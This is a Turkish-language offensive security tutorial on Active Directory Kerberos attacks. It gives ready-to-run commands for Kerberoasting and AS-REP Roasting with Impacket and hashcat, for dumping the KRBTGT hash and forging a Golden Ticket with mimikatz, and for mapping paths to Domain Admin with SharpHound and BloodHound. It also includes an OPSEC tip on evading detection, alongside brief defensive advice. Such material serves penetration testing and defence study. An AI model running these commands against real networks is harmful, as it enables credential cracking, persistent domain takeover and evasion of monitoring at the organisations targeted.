Active Directory Kerberos Saldırıları: Kerberoasting, AS-REP Roasting ve Golden Ticket
Araştırma Kategorisi • Active Directory Güvenliği
Active Directory Kerberos Saldırıları: Kerberoasting'den Golden Ticket'a
Kurumsal ağların bel kemiği olan Active Directory, Kerberos kimlik doğrulama protokolü üzerine inşa edilmiştir. Bu makalede Kerberoasting, AS-REP Roasting ve Golden Ticket saldırılarını adım adım ele alıyor; BloodHound ile saldırı yollarının nasıl haritalandığını gösteriyoruz.
1. Kerberos Protokolüne Hızlı Bakış
Kerberos, AD kimlik doğrulamasının temelini oluşturur. İş akışı üç adımda özetlenir: istemci TGT (Ticket Granting Ticket) alır, TGT ile servis bileti (TGS) talep eder, bileti servis sunucusuna sunar. Kritik nokta: TGS biletleri, servis hesabının NTLM hash'iyle şifrelenir.
[Kullanıcı] → TGS-REQ (TGT + servis adı) → [DC: KDC] → TGS-REP (Servis Bileti)
[Kullanıcı] → AP-REQ (Servis Bileti) → [Hedef Servis]
2. Kerberoasting: Servis Hesabı Hashlerini Çevrimdışı Kırmak
Kerberoasting, SPN (Service Principal Name) atanmış servis hesaplarına ait TGS biletlerini talep edip bu biletleri çevrimdışında kırmaya dayanır. Domain'deki herhangi bir kimlik doğrulanmış kullanıcı bu bileti talep edebilir — özel bir yetki gerekmez.
Impacket ile Kerberoasting:
python3 GetUserSPNs.py domain.local/low_priv_user:'Pass123!' -dc-ip 192.168.1.10 -request
# Çıktıdaki $krb5tgs$... hashini hashcat ile kır
hashcat -m 13100 -a 0 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
⚠ OPSEC Notu
Kerberoasting saldırısında EventID 4769 (Kerberos Service Ticket Requested) logu üretilir. RC4 yerine AES256 bilet talep ederek anomali tespitini zorlaştırabilirsiniz ancak daha yavaş kırılır. Microsoft ATA ve Defender for Identity bu davranışı izler.
3. AS-REP Roasting: Ön Kimlik Doğrulama Gerektirmeyen Hesaplar
Kerberos ön kimlik doğrulaması (pre-authentication) devre dışı bırakılan hesaplar için AS-REP Roasting uygulanır. Domain hesabı gerektirmez; yalnızca hesap adını bilmek yeterlidir.
python3 GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.10
# Elde edilen krb5asrep hashini kır
hashcat -m 18200 asrep_hashes.txt rockyou.txt
4. Golden Ticket: Domain Üzerinde Kalıcı Kontrol
Golden Ticket, KRBTGT hesabının NTLM hash'ini kullanarak sahte, geçerli TGT biletleri oluşturmayı sağlar. Bu bileti elinde bulunduran saldırgan istediği kullanıcı adına — hatta var olmayan kullanıcılar adına — herhangi bir servise erişebilir. KRBTGT şifresi sıfırlanmadıkça bu erişim kalıcıdır.
lsadump::dcsync /domain:domain.local /user:krbtgt
# Golden Ticket oluştur
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
# Artık herhangi bir sunucuya erişebilirsiniz
dir \dc01\c$
🔴 Savunma — Golden Ticket Tespiti
KRBTGT şifresi en az 6 ayda bir iki kez sıfırlanmalıdır. Microsoft ATA, ömrü 10 yılı aşan biletleri anomali olarak işaretler. Event ID 4769 ve 4624 logları SIEM ile korelasyona alınmalıdır.
5. BloodHound ile Saldırı Yollarını Haritalandırma
BloodHound, AD'yi graph veritabanı olarak modelleyerek düşük yetkili kullanıcıdan Domain Admin'e giden gizli yolları görselleştirir. SharpHound ile veri toplanır, Neo4j veritabanına aktarılır.
./SharpHound.exe -c All --zipfilename ad_data.zip
# BloodHound Cypher sorgusu: Domain Admin'e en kısa yol
MATCH p=shortestPath((n:User {name:"user1@DOMAIN.LOCAL"})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p